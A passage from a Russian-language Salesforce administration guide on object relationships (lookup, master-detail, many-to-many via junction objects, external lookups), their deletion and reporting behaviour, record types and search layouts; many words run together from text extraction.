пользователь создает запись отчета по расходам и связывает ее с отдельными записями расходов посредством
взаимосвязи «Поиск». При удалении отчета пользователь может также удалить все записи расходов.

Внимание: Выбор алгоритма «Также удалить данную запись» может инициировать каскадное удаление.
Каскадноеудалениепропускаетпараметрыбезопасностииобщегодоступа, поэтомупользователимогут
удалить записи при удалении целевой записи поиска даже при отсутствии доступа к записям. Во избежание
случайного удаления записей, каскадное удаление отключено по умолчанию. Чтобы включить данную
функцию в организации, обратитесь в компанию Salesforce.

Каскадное удаление и связанные параметры недоступны для взаимосвязей «Поиск» в объектах «Часы
работы», «Сообщество», «Интерес», «Прайс-лист», «Продукт» и «Пользователь».

Приопределениивзаимосвязи «Поиск» пользователимогутдобавлятьполепоискавмакетыстраницсоответствующего
объекта, а также создавать связанный список в макетах страниц связанного объекта. Например, если организация
использует настраиваемый объект «Запросы на оплачиваемый отпуск», а пользователи должны связывать запросы
наоплачиваемыйотпуск с сотрудниками, отправляющимиданныезапросы, рекомендуемсоздать взаимосвязь «Поиск»
между настраиваемым объектом «Запрос на оплачиваемый отпуск» и объектом «Пользователь».
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Удалениеродительскойзаписивовзаимосвязи «Поиск» нерегистрируетсяжурналомполя, отслеживающимдочернюю
запись.Например, удалениеродительскойорганизациинерегистрируетсясвязаннымсписком «Журналорганизации»
для дочерней организации.

Пользователь не может удалить объект или запись во взаимосвязи «Поиск», если общее количество записей между
двумя связанными объектами превышает 100 000. Чтобы удалить объект или запись во взаимосвязи «Поиск»,
рекомендуем сначала удалить соответствующее количество дочерних записей.

Внешний поиск
Взаимосвязь внешнегопоиска связывает дочернийстандартный, настраиваемыйиливнешнийобъект сродительским
внешнимобъектом. Присозданииполявзаимосвязивнешнегопоискастандартноеполе «Внешнийкод» родительского
внешнего объекта сопоставляется со значениями поля взаимосвязи внешнего поиска дочернего объекта. Значения
полей внешнего объекта извлекаются из внешнего источника данных.

Непрямой поиск
Взаимосвязьнепрямогопоиска связываетдочернийвнешнийобъект сродительскимстандартнымилинастраиваемым
объектом. При создании поля взаимосвязи непрямого поиска для внешнего объекта рекомендуем задать поля
родительского и дочернего объектов для сопоставления и связывания записей во взаимосвязи. Например, выберите
настраиваемое поле уникального внешнего кода родительского объекта для сопоставления с полем взаимосвязи
непрямого поиска дочернего объекта, значения которого извлекаются из внешнего источника данных.

Иерархическая
Данныйтипвзаимосвязиявляется специальнойвзаимосвязью «Поиск», доступнойтолькодляобъекта «Пользователь».
Данныйтиппозволяетиспользоватьполепоиска для связыванияодногопользователя с другим, которыйне ссылается
прямо или косвенно на самого себя. Например, настраиваемое поле иерархической взаимосвязи может быть создано
для хранения имени прямого менеджера каждого пользователя.

Совет: При создании поля иерархической взаимосвязи в версии Personal Edition, Contact Manager, Group Edition
или Professional Edition рекомендуем установить флажок «Ограниченное поле», позволяющий редактировать
поле только пользователям с полномочием «Управление внутренними пользователями». В версиях Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition рекомендуемиспользоватьпараметрыбезопасности
поля.

СМ. ТАКЖЕ:

Рекомендации по взаимосвязям

Взаимосвязи внешних объектов

Создание взаимосвязи «Многие ко многим»

Определение настраиваемого объекта
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Создание взаимосвязи «Многие ко многим»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Отчеты недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания взаимосвязи
«Многие ко многим»:
• «Настройка

приложения»

Взаимосвязи «Основная — подробная» могут использоваться для моделирования
взаимосвязей «Многие комногим»между любыми двумя объектами. Взаимосвязь «Многие
комногим» позволяет связывать каждуюзаписьодногообъекта снесколькимизаписями
другого объекта и наоборот. Например, настраиваемый объект «Ошибка» может быть
связан со стандартным объектом «Обращение» таким образом, что ошибка может быть
связана с несколькими обращениями, а обращение может быть связано с несколькими
ошибками.При моделировании взаимосвязи «Многие ко многим» система позволяет
использовать объект объединения для связывания двух объектов.

Объект объединения
Настраиваемый объект с двумя взаимосвязями «Основная—подробная».
Настраиваемыйобъектобъединенияпозволяетмоделировать взаимосвязь «Многие
ко многим» между двумя объектами.Например, настраиваемый объект «Ошибка»
может быть связан со стандартным объектом «Обращение» таким образом, что
ошибка может быть связана с несколькими обращениями, а обращение может быть
связано с несколькими ошибками.

Ниже перечислены этапы создания взаимосвязи «Многие ко многим».

1. Создание объекта объединения.

2. Создание двух взаимосвязей «Основная—подробная».

3. Настройка связанных списков для макетов страниц двух основных объектов.

4. Настройкаотчетовдляповышенияэффективностивзаимосвязи «Многиекомногим».

Создание объекта объединения

1. Создайте настраиваемый объект в качестве объекта объединения.

2. Просмотрите перечисленные ниже рекомендации при использовании мастера
создания настраиваемых объектов.

• Метка объекта должна соответствовать его цели (например, BugCaseAssociation).

• Поле «Имя записи» должно использовать тип данных «Автонумерация».

• Мастерсозданиянастраиваемыхвкладокможетбытьзапущентолькопосленажатиякнопки«Сохранить». Объекты
объединения не требуют наличия вкладки.

Создание двух взаимосвязей «Основная—подробная»

Чтобы создать две взаимосвязи «Основная—подробная», выполните указанные ниже действия.

1. Проверьте наличие двух объектов, подлежащих связыванию. Например, стандартный объект «Обращение» может
быть связан с настраиваемым объектом «Ошибка».

2. Создайте первое поле взаимосвязи «Основная—подробная» для объекта объединения. Выполните указанные ниже
действия посредством мастера создания настраиваемых полей.

a. Выберите тип поля «Взаимосвязь "Основная—подробная"».

b. Выберите один объект для связывания с объектом объединения. Например, выберите «Обращение».

Первая взаимосвязь «Основная — подробная», созданная для объекта объединения, становится главной. Данное
действие влияет на перечисленные ниже атрибуты записей объекта объединения.

4461

Администрирование настраиваемых объектовРасширение Salesforce посредством интерактивных
инструментов



Внешний вид: страницы просмотра и редактирования сведений об объекте объединения используют цвет и
любой связанный значок главного основного объекта.

•

• Ответственность за запись: записи объекта объединения наследуют значение поля «Ответственный» от
связанной главной основной записи. Подробные объекты взаимосвязи не содержат доступного поля
«Ответственный», поэтому данный алгоритм действителен только при последующем удалении обеих
взаимосвязей «Основная — подробная» для объекта объединения.

• Подразделение: еслиорганизацияиспользует подразделения для сегментирования данных, то записиобъекта
объединения наследуютподразделение от связанной главной основной записи. Подобно ответственности за
запись, данный алгоритм действителен только при последующем удалении обеих взаимосвязей
«Основная — подробная» для объекта объединения.

c. Выберите атрибут «Параметр общего доступа». Атрибут «Параметр общего доступа» для поля взаимосвязи
«Основная—подробная» определяет уровень общего доступа к основной записи для создания, редактирования
или удаления связанных подробных записей.

d. Удалите стандартное значениеполя «Метка связанного списка», отображающегося вмакете страницыосновного
объекта. Замените данное значение именем другого основного объекта во взаимосвязи «Многие ко многим».
Например, чтобы предоставить пользователям доступ к связанному списку «Ошибки» на странице сведений об
обращении, введите значение «Ошибки».

3. Создайтевторуювзаимосвязь «Основная—подробная» дляобъектаобъединения. Выполнитеуказанныенижедействия
посредством мастера создания настраиваемых полей.

a. Выберите тип поля «Взаимосвязь "Основная—подробная"».

b. Выберите другой основной объект для связывания с объектом объединения. Например, выберите «Ошибка».

Вторая взаимосвязь «Основная — подробная», созданная для объекта объединения, становится дополнительной.
При удалении или преобразовании главной взаимосвязи «Основная — подробная» во взаимосвязь «Поиск»
дополнительный основной объект становится главным.

c. Выберите атрибут «Параметр общего доступа». Атрибут «Параметр общего доступа» для поля взаимосвязи
«Основная—подробная» определяет уровень общего доступа к основной записи для создания, редактирования
или удаления связанных подробных записей.

d. Удалите стандартное значениеполя «Метка связанного списка», отображающегося вмакете страницыосновного
объекта. Замените данное значение именем другого основного объекта во взаимосвязи «Многие ко многим».
Например, чтобы предоставить пользователям доступ к связанному списку «Обращения» на странице сведений
об ошибке, введите значение «Обращения».

Настройка связанных списков взаимосвязи «Многие ко многим»

Каждая запись основного объекта во взаимосвязи «Многие комногим» в системе Salesforce отображает связанный список
записей связанного объекта объединения. При необходимости система позволяет заменить имя связанного списка
объекта объединения именем другого основного объекта в каждом макете страницы основного объекта. Например,
связанному списку BugCaseAssociations может быть задано имя «Обращения» в макете страницы ошибок и «Ошибки» в
макете страницы обращений. При необходимости настройте данные связанные списки для отображения полей другого
основного объекта.

Чтобынастроитьполя, отображающиеся в связанномспискеобъектаобъединения в каждоммакете страницыосновного
объекта, выполните указанные ниже действия.
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1. Измените макет страницы каждого основного макета, связанного с объектом объединения. Например, измените
связанный список BugCaseAssociations для записей обращений, отредактировав макет страницы для обращений.

2. Измените свойстванужногосвязанногосписка. Например, еслисвязанномусписку BugCaseAssociations дляобращений
задано имя «Ошибки», выберите связанный список «Ошибки».

3. Добавьтеполя для отображения в связанномсписке. Принеобходимостидобавьтеполя самогообъекта объединения
или другого основного объекта.

Префикс каждого поля соответствует имени объекта во всплывающем окне. В отличие от полей другого основного
объекта, поля объекта объединения, отображаемые в самом связанном списке, используют имя объекта.

Прим.: Связанный список объекта объединения не содержит значка на страницах сведений об основной записи,
так как объект объединения не требует наличия настраиваемой вкладки. Значок отображается только при наличии
вкладки для объекта объединения.

Настройка отчетов для взаимосвязей «Многие ко многим»

Взаимосвязи «Многие ко многим» поддерживают два типа стандартных отчетов, объединяющих основные объекты и
объект объединения. Типы отчетов перечислены ниже.

• «Главныйосновнойсобъектомобъединенияидополнительнымосновным» в категорииотчетов главногоосновного
объекта.

• «Дополнительный основной с объектом объединения и главным основным» в категории отчетов дополнительного
основного объекта.

Обратитевниманиенапорядокосновныхобъектоввтипеотчета. Основнойобъект, отображающийсяпервым, определяет
область записей, которые могут быть возвращены в отчете.

Данные типы стандартных отчетов могут использоваться для создания настраиваемых отчетов. При необходимости
создайте типы настраиваемых отчетов, позволяющие выбирать связанные объекты для объединения в отчете.

СМ. ТАКЖЕ:

Общие сведения о взаимосвязях объектов

Рекомендации по взаимосвязям

Определение настраиваемого объекта

Поиск по параметрам управления объектами

Поиск по параметрам управления объектами
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Рекомендации по взаимосвязям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прежде чем создать взаимосвязи между объектами, просмотрите рекомендации ниже.

Ограничения для взаимосвязей
Каждый настраиваемый объект может поддерживать не более двух взаимосвязей
«Основная—подробная» и множество взаимосвязей «Поиск». Каждая взаимосвязь
учитывается максимальным количеством настраиваемых полей.

Преобразование взаимосвязей
Взаимосвязь «Основная—подробная» может быть преобразована во взаимосвязь
«Поиск», если основной объект не содержит поля сводного резюмирования.

Взаимосвязь «Поиск» может быть преобразована во взаимосвязь
«Основная—подробная», если поле поиска во всех записях содержит значение.

Кольцевые взаимосвязи
В отличие от отдельных записей, объекты могут быть связаны с самими собою —
посредствомвзаимосвязи «Поиск». Темнеменее, записьможетбытькосвенносвязана
сама с собой. Например, кампания «Праздничная реклама» может быть связана с
кампанией «Прямаяпочтоваярассылка» посредствомвзаимосвязи «Поиск», акампания
«Прямаяпочтоваярассылка» можетбытьсвязанас кампанией «Праздничнаяреклама»
посредством взаимосвязи «Поиск».

Кольцевая взаимосвязь «Многие ко многим» не может быть создана, то есть, две
взаимосвязи «Основная—подробная» дляобъектаобъединениянемогутиспользовать
одинаковый основной объект.

Значки для настраиваемых связанных списков
Значок, выбранный для связанной настраиваемой вкладки, также отображается в
любом настраиваемом связанном списке, созданном на основе взаимосвязи.

Значок не поддерживается настраиваемыми связанными списками, основанными на взаимосвязи с настраиваемым
объектом, которому не соответствует настраиваемая вкладка.

Взаимосвязи «Основная — подробная»
Многоуровневая взаимосвязь «Основная — подробная» может быть создана только при наличии полномочия
«Настройка приложения».

Приопределениивзаимосвязи «Основная — подробная» настраиваемыйобъект, над которымработаетпользователь,
являетсяподробным. Данныеобъектамогут отображаться в виденастраиваемого связанного списка вмакетах страниц
другого объекта.

По умолчанию данные взаимосвязи не поддерживают переподчинение записей. Тем не менее, чтобы разрешить
дочерним записям во взаимосвязях «Основная — подробная» для настраиваемых объектов переподчинение другим
родительским записям, администратор организации должен установить флажок «Разрешить переподчинение» в
определении взаимосвязи «Основная — подробная».

Разрешается использовать не более трех настраиваемых уровней детализации.

Стандартныеобъектынемогутбытьподробнымидлянастраиваемогообъектавовзаимосвязи «Основная — подробная».

Объект может отображаться в многоуровневых взаимосвязях «Основная — подробная» только один раз. Например,
болееподробныйобъектодноймногоуровневойвзаимосвязи «Основная — подробная» неможетбытьответственным
за основной объект другой многоуровневой взаимосвязи «Основная — подробная». Кроме того, более подробный
объект не может являться основным для подробного объекта более подробного объекта.

Многоуровневые взаимосвязи «Основная — подробная» не поддерживают переносы подразделений.
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Взаимосвязь «Основная — подробная» неможетбыть создана, еслинастраиваемыйобъект уже содержитданные. Тем
не менее, если поле поиска во всех записях содержит значение, то взаимосвязь может быть создана как взаимосвязь
«Поиск» и преобразована во взаимосвязь «Основная — подробная».

Преобразование взаимосвязи «Поиск» во взаимосвязь «Основная — подробная» или взаимосвязи
«Основная — подробная» вовзаимосвязь «Поиск» аналогичнопреобразованиювзаимосвязей «Основная — подробная»,
состоящихиздвухобъектов. Другимисловами, два связанныхобъекта во взаимосвязи «Подробная — болееподробная
1» или «Более подробная 1 — более подробная 2» используют ограничения по преобразованию, аналогичные
ограничениям для взаимосвязей «Основная — подробная».

Полясводногорезюмированияработаюттакже, каквдвухобъектныхвзаимосвязях «Основная — подробная». Основная
запись может сводить поля подробных записей, но не может напрямую сводить поля более подробных записей.
Данная цель достигается только в том случае, если подробная запись содержит поле сводного резюмирования для
поля более подробной записи, позволяющее основной записи выполнять сведение на основе поля сводного
резюмирования подробной записи.

Многоуровневыевзаимосвязи «Основная — подробная» могутиспользоватьсяв типахнастраиваемыхотчетов. Флажок
«Разрешить отчеты» должен быть установленпри созданиинастраиваемого объекта. Типынастраиваемых отчетов,
созданныедлямногоуровневыхвзаимосвязей «Основная — подробная», учитываютсяограничениямипоколичеству
типов настраиваемых отчетов организации, поэтому при превышении данного ограничения создание отчетов
прекращается.

Настраиваемыеобъектыобъединениянемогутиметьподробныхобъектов. Другимисловами, настраиваемыйобъект
объединениянеможетвыступатьвкачествеосновногообъектамногоуровневойвзаимосвязи «Основная — подробная».

Настраиваемый объект, являющийся основным во взаимосвязи «Основная — подробная», не может быть удален.
Удаление настраиваемого объекта, являющегося подробным во взаимосвязи «Основная — подробная», инициирует
преобразование взаимосвязи во взаимосвязь «Поиск».

Удаление подробной записи инициирует ее перемещение в корзину, но сохраняет основную запись; удаление
основнойзаписиинициируетудалениесвязанныхподробныхиболееподробныхзаписей. Восстановлениеподробной
записиинициируеттолькоеевосстановление; восстановлениеосновнойзаписиинициируетвосстановлениесвязанных
подробных и более подробных записей. Однако удаленная подробная запись не может быть восстановлена при
последующем удалении связанной основной записи.

Количество дочерних записей для взаимосвязи «Основная — подробная» не должно превышать 10 000.

Взаимосвязи «Многие ко многим»
Записи объекта объединения удаляются при удалении или перемещении любой связанной основной записи в
корзину. Удалениеобеихсвязанныхосновныхзаписейинициируетнеобратимоеудалениезаписиобъектаобъединения.

Общий доступ к записи объекта объединения определяется общим доступом пользователя к связанным основным
записям и параметру поля взаимосвязи «Параметр общего доступа». См. раздел «Безопасность настраиваемых
объектов»на странице 4472. Например, еслиобеимродительскимзаписямназначаетсяпараметробщегодоступа «Для
чтенияизаписи», тообъектобъединенияможетбытьдоступенпользователямдлячтенияизаписитолькоприналичии
уровня доступа «Для чтения и записи» к обеим родительским записям. Если обеим основным записям назначается
параметр общего доступа «Только для чтения», то объект объединения доступен пользователям для чтения и записи
только при наличии уровня доступа «Только для чтения» к основным записям.

Родительская запись во взаимосвязи «Многие ко многим» не может быть удалена, если она связана как минимум с 200
записямиобъектаобъединения, а самобъектобъединениясодержитполе сводногорезюмирования, которое сводится
к другой родительской записи. Чтобы удалить данный объект, рекомендуем вручную сократить количество записей
объекта объединения до 200.

Перваявзаимосвязь «Основная — подробная», созданнаядляобъектаобъединения, становится главной. Данноедействие
влияет на перечисленные ниже атрибуты записей объекта объединения.
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• Внешний вид: страницы просмотра и редактирования сведений об объекте объединения используют цвет и
любой связанный значок главного основного объекта.

• Ответственность за запись: записиобъектаобъединениянаследуютзначениеполя «Ответственный» от связанной
главной основной записи. Подробные объекты взаимосвязи не содержат доступного поля «Ответственный»,
поэтому данный алгоритм действителен только при последующем удалении обеих взаимосвязей
«Основная — подробная» для объекта объединения.

• Подразделение: если организация использует подразделения для сегментирования данных, то записи объекта
объединения наследуют подразделение от связанной главной основной записи. Подобно ответственности за
запись, данный алгоритм действителен только при последующем удалении обеих взаимосвязей
«Основная — подробная» для объекта объединения.

Вторая взаимосвязь «Основная — подробная», созданная для объекта объединения, становится дополнительной. При
удаленииилипреобразованииглавнойвзаимосвязи «Основная — подробная» вовзаимосвязь «Поиск» дополнительный
основной объект становится главным.

Поля сводного резюмирования, суммирующие данные из объекта объединения, могут быть созданы для обоих
основных объектов.

Поля формулы и правила проверки для объекта объединения могут ссылаться на поля обоих основных объектов.

Триггеры Apex могут быть заданы для обоих основных объектов и объекта объединения.

Объект объединения не может быть основным объектом другой взаимосвязи «Основная — подробная».

Кольцевая взаимосвязь «Многие комногим» неможетбыть создана, то есть, две взаимосвязи «Основная—подробная»
для объекта объединения не могут использовать одинаковый основной объект.

Взаимосвязи «Поиск»
Если поле поиска является необязательным, выберите один из трех алгоритмов, выполняемых при удалении записи
поиска.

• «Удалить значение данного поля»: значение по умолчанию. Рекомендуем использовать данный алгоритм, если
поле не должно содержать значение из связанной записи поиска.

• «Запретить удаление записи поиска, которая является частью взаимосвязи поиска»: данное значение
препятствует удалению записи поиска при наличии зависимостей (например, бизнес-правило), созданных на
основе взаимосвязи.

• «Также удалить данную запись»: данное значение доступно только в том случае, если настраиваемый объект
содержитвзаимосвязь «Поиск», котораянепринадлежитстандартномуобъекту. Темнеменее, объектпоискаможет
быть стандартнымилинастраиваемым. Рекомендуемиспользоватьданныйалгоритм, еслиполепоискаи связанная
запись тесно взаимосвязаны, а пользователю требуется удалить связанные данные.

Внимание: Выбор алгоритма «Также удалить данную запись» может инициировать каскадное удаление.
Каскадное удаление пропускает параметры безопасности и общего доступа, поэтому пользователи могут
удалить записи при удалении целевой записи поиска даже при отсутствии доступа к записям. Во избежание
случайного удаления записей, каскадное удаление отключено по умолчанию. Чтобы включить данную
функцию в организации, обратитесь в компанию Salesforce.

Каскадное удалениеисвязанныепараметрынедоступныдля взаимосвязей «Поиск» вобъектах «Часыработы»,
«Сообщество», «Интерес», «Прайс-лист», «Продукт» и «Пользователь».

В цепочке взаимосвязей «Поиск» данные алгоритмы выполняются независимо друг от друга для каждого целевого
поля на каждом уровне. Например, поле А является целевым для поля Б, которое, в свою очередь, является целевым
дляполяВ. ВотличиеотполяБ, полеАможетбыть заблокированоот удаления. УдалениеполяБинициируетудаление
взаимосвязи между полями А и Б и отображение пустого значения в поле В.
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Данные параметры могут конфликтовать в многоуровневых взаимосвязях «Поиск». Например, если поле А является
целевымдляполяБ, которое, в своюочередь, являетсяцелевымдляполяВ, тополюАможетбытьназначеноудаление
поля Б, но поле Б не может быть удалено, так как связано с полем В. При попытке удаления поля А отображается
сообщение об ошибке, уведомляющее пользователя, что поля Б и В взаимосвязаны, поэтому поле Б не может быть
удалено.

Удалениеродительскойзаписивовзаимосвязи «Поиск» нерегистрируетсяжурналомполя, отслеживающимдочернюю
запись.Например, удалениеродительскойорганизациинерегистрируетсясвязаннымсписком «Журналорганизации»
для дочерней организации.

Взаимосвязи для внешних объектов
Взаимосвязипоиска, внешнегопоискаинепрямогопоискаиспользуютнекоторыеособыеалгоритмыиограничения.

• Внешниеобъектыподдерживаюттольковзаимосвязипоиска, внешнегопоискаинепрямогопоиска. Другие типы
взаимосвязей не поддерживаются.

• Взависимостиотдоступностивнешнейсистемы, связанныеспискидочернихвнешнихобъектовмогутотличаться
медленной загрузкой при просмотре страниц сведений о родительских записях.

• Взаимосвязис внешнимиобъектамипозволяютпользователямсоздаватьдочерние записинаоснованиистраниц
сведений родительских записей. Однако поле взаимосвязи по каждой новой дочерней записи не заполняется
автоматически, чтобы определить родительскую запись.

• Синхронизация не создает поля взаимосвязей с внешними объектами в вашей организации Salesforce. Однако
пользователь может изменить тип поля, созданного синхронизацией, на варианты «Взаимосвязь поиска»,
«Взаимосвязь внешнего поиска» или «Взаимосвязь непрямого поиска». Изменение типа существующего
настраиваемого поля проще и эффективнее, чем создание поля взаимосвязи с внешним объектом вручную.

Предположим, внешняясистемаимеет взаимосвязь с внешнимключом. Синхронизациясвязанныхтаблицсоздает
текстовое поле в организациипользователя во внешнем столбце, где указаны внешние ключи. Чтобы отобразить
взаимосвязь с внешним ключом внутри организации пользователя, поменяйте тип этого текстового поля на
«Взаимосвязь внешнего поиска».

• Полевзаимосвязи — этотипнастраиваемогополя. Такимобразом, подобновсемнастраиваемымполямвнешнего
объекта, поля взаимосвязи могут быть переписаны при синхронизации с внешним объектом. См. рекомендации
по синхронизации для каждого адаптера Lightning Connect, который вы используете.

• Взаимосвязи внешних объектов не поддерживают каскадное удаление.

• Только в системе Salesforce Classic поля взаимосвязи внешнего и непрямого поиска не отображают ожидаемые
имена родительских записей.

– Полевнешнегопоискаотображаетлибокодродительскойзаписи, либозначениестандартногополя «Внешний
код»объекта. Последнийотображаетсяпоумолчанию. Однакоеслинастраиваемоеполеродительскогообъекта
имеет атрибут «Является полем имени», отображается код родительского объекта.

– В поле непрямого поиска отображается значение целевого поля родительского объекта. Чтобы можно было
найти связанные записи, значения целевого поля совпадают со значениями поля взаимосвязи непрямого
поиска дочернего объекта. Целевое поле, которое содержит атрибуты «Внешний код» и «Уникальное»,
выбирается при создании поля непрямого поиска.

• Когда пользователь предпринимает попытку редактирования внешнего поиска или поля взаимосвязи непрямого
поиска, диалоговое окно недоступно для выбора родительской записи.

– Чтобы отредактировать поле взаимосвязи внешнего поиска, вручную введите значение стандартного поля
External ID для родительской записи.

– Чтобы отредактировать поле взаимосвязи непрямого поиска, вручную введите значение целевого поля для
родительской записи. Целевое поле является настраиваемым полем с атрибутами «Внешний код» и
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«Уникальное», котороебыловыбраноприсозданиивзаимосвязинепрямогопоиска. Чтобыможнобылонайти
связанные записи, значения целевого поля в Salesforce совпадают со значениями поля взаимосвязи непрямого
поиска дочернего объекта.

• При использовании взаимосвязей внешнего поиска и непрямого поиска родительская запись отображается как
активная ссылка в поле взаимосвязи дочерней записи. Если дочерняя запись просматривается пользователем,
которому недоступна родительская запись, то родительская запись отображается в поле взаимосвязи в виде
обычного текста.

• Поля взаимосвязи внешнего поиска не поддерживают фильтры поиска.

• Поля взаимосвязи непрямого поиска могут создаваться только для внешних объектов.

• Только объекты, содержащие настраиваемое поле с атрибутами «Внешний код» и «Уникальное», доступны во
взаимосвязях непрямого поиска в качестве родительских объектов.При отсутствии нужного объекта во время
создания поля взаимосвязи непрямого поиска рекомендуем добавить настраиваемое поле уникального внешнего
кода в данный объект.

Влияние взаимосвязей на отчеты
Тип созданной взаимосвязи определяет доступные типы стандартных отчетов и их категоризацию. Данные типы
отчетов определяют связанные объекты, которые могут быть добавлены в отчет.

• Взаимосвязи «Поиск» позволяют объединять данные из двух связанных объектов в одном отчете.

• Взаимосвязи «Основная—подробная» позволяютобъединять данныеиз трех объектов в одномотчете: основной
объект, подробный объект и один другой объект поиска. Если подробный объект использует несколько
взаимосвязей «Поиск», то отдельный тип отчета доступен на основе каждого поиска.

• Взаимосвязи «Многиекомногим» поддерживаютдватипастандартныхотчетов, объединяющихосновныеобъекты
и объект объединения. Типы отчетов перечислены ниже.

– «Главный основной с объектом объединения и дополнительным основным» в категории отчетов главного
основного объекта.

– «Дополнительный основной с объектом объединения и главным основным» в категории отчетов
дополнительного основного объекта.

Обратите внимание на порядок основных объектов в типе отчета. Основной объект, отображающийся первым,
определяет область записей, которые могут быть возвращены в отчете.

Таблица ниже описывает степень влияния каждого типа взаимосвязи на создание отчетов.

Категория типа отчетаТипы стандартных отчетовТип взаимосвязи

На основе объектаСам объект

Объект с первым поиском

Поиск

Объект со вторым поиском

Объект с третьим поиском

Основной объектСам основной объект

Основной объект с подробным
объектом

Основная–подробная

Основной объект с подробным
объектом и первым поиском
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Категория типа отчетаТипы стандартных отчетовТип взаимосвязи

Основной объект с подробным
объектом и вторым поиском

Основной объект с подробным
объектом и третьим поиском

Главный основной объект

и

Сам главный основной объект

Сам дополнительный основной
объект

Многие ко многим

Дополнительный основной объект
Главныйосновнойобъектсобъектом
объединения и дополнительным
основным объектом

Дополнительный основной объект с
объектом объединения и главным
основным объектом

Типы настраиваемых отчетов позволяют объединять данные разных объектов, включая взаимосвязи «Поиск» и
«Основная — подробная».

Важное замечание: Преобразованиевзаимосвязи «Поиск» вовзаимосвязь «Основная — подробная» илинаоборот
можетинициироватьнепригодностьтекущихнастраиваемыхотчетовввидуразныхтиповстандартныхотчетов,
доступных для каждого типа взаимосвязи. Рекомендуем тестировать настраиваемые отчеты сразу после
преобразования типа взаимосвязи. Восстановление исходного типа взаимосвязи инициирует восстановление
отчетов и их пригодности.

СМ. ТАКЖЕ:

Общие сведения о взаимосвязях объектов

Создание взаимосвязи «Многие ко многим»

Взаимосвязи внешних объектов
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Создание типов записей для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания типов записей
настраиваемых объектов:
• «Настройка

приложения»

Чтобыотображатьразные значенияраскрывающихсясписковимакетыстраницразным
пользователям на основе их профилей, создайте типы записей для настраиваемого
объекта.

1. В параметрах управления настраиваемого объекта выберите пункт «Типы записей».

2. Нажмите кнопку «Создать» в связанном списке «Типы записей».

3. Чтобы скопировать все доступные значения раскрывающегося списка, выберите
значение «Основной» в раскрывающемся списке «Текущий тип записи». Чтобы
клонировать значения раскрывающегося списка, выберите текущий тип записи.

Прим.: Новый тип записи, созданный без применения клонирования,
автоматически содержит значения основных стандартных и настраиваемых
раскрывающихся списков. При необходимости настройте значения
раскрывающихся списков для типа записи.

4. Заполните поле «Метка типа записи».

5. Введите описание.

6. Чтобы активировать тип записи, установите флажок «Активно».

7. Чтобы предоставить соответствующим пользователям доступ к типу записи,
установите флажок «Включить для профиля» напротив нужного профиля. Чтобы предоставить доступ всем
профилям, установите флажок в строке заголовка.

Совет: Если каждому профилю назначается только один тип записи, то выбор типа создаваемой записи
недоступен.

8. Чтобы выбрать тип записи в качестве стандартного для пользователей активного профиля, установите флажок
«Сделать стандартным». Чтобы выбрать тип записи в качестве стандартного для всех профилей, установитефлажок
в строке заголовка.

9. Нажмите кнопку «Далее».

10. Чтобы определить макет страницы, который должен отображаться для записей данного типа, выберите параметр
макета страницы.

• Чтобы применить единый макет страницы ко всем профилям, установите флажок «Применить один макет ко
всем профилям» и выберите нужный макет страницы из раскрывающегося списка.

• Чтобы применить разные макеты страниц на основе профилей, установите флажок «Применить отдельные
макеты для каждого профиля» и выберите нужный макет страницы для каждого профиля.

11. Чтобы изменить значения стандартных и настраиваемых раскрывающихся списков, доступных для типа записи,
нажмите кнопку «Сохранить». Чтобы создать другой тип записи, нажмите кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Настройка макетов поиска для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения макетов
поиска для настраиваемых
объектов:
• «Настройка

приложения»

Настройтеполянастраиваемыхобъектов, которыедолжныотображатьсяпользователям
в результатах поиска, диалоговых окнах поиска и основных списках на начальных
страницахнастраиваемыхвкладок.Каждыймакетпоискаможетиспользоватьотдельный
набор полей. Параметры применяются ко всем пользователям организации.

Если необходимо, настройте кнопки, которые должны отображаться в настраиваемых
списковых представлениях и результатах поиска. Стандартные кнопки спискового
представления могут быть скрыты, а настраиваемые кнопки, наоборот, отображены.
Стандартные кнопки недоступны в макетах результатов поиска. Чтобы отобразить
настраиваемую кнопку, создайте настраиваемую кнопку и заполните поле «Тип
отображения» значением «Кнопка списка».

1. Изпараметров управленияобъектомдлянастраиваемогообъектаоткройте страницу
«Макеты страниц».

2. Щелкните ссылку «Правка» рядом с макетом поиска, который требуется изменить.

Прим.: Поля, выбранные для основных списков на начальной странице
настраиваемой вкладки, также используются как столбцы, отображаемые в
стандартном списковом представлении «Все», и стандартные столбцы,
отображаемыевлюбыхновыхсписковыхпредставлениях. Чтобыпросмотреть
разные столбцы, настройте само списковое представление.

3. Переместите поля между списками «Доступные поля» и «Выбранные поля».

• Чтобы определить поля, которые должны отображаться в макете, выберите как
минимум одно поле и нажмите кнопку «Добавить» или «Удалить».

• Чтобы изменить порядок отображения полей в макете, выберите как минимум одно поле в списке «Выбранные
поля» и нажмите кнопку «Вверх» или «Вниз».

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка макетов поиска
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Безопасность настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
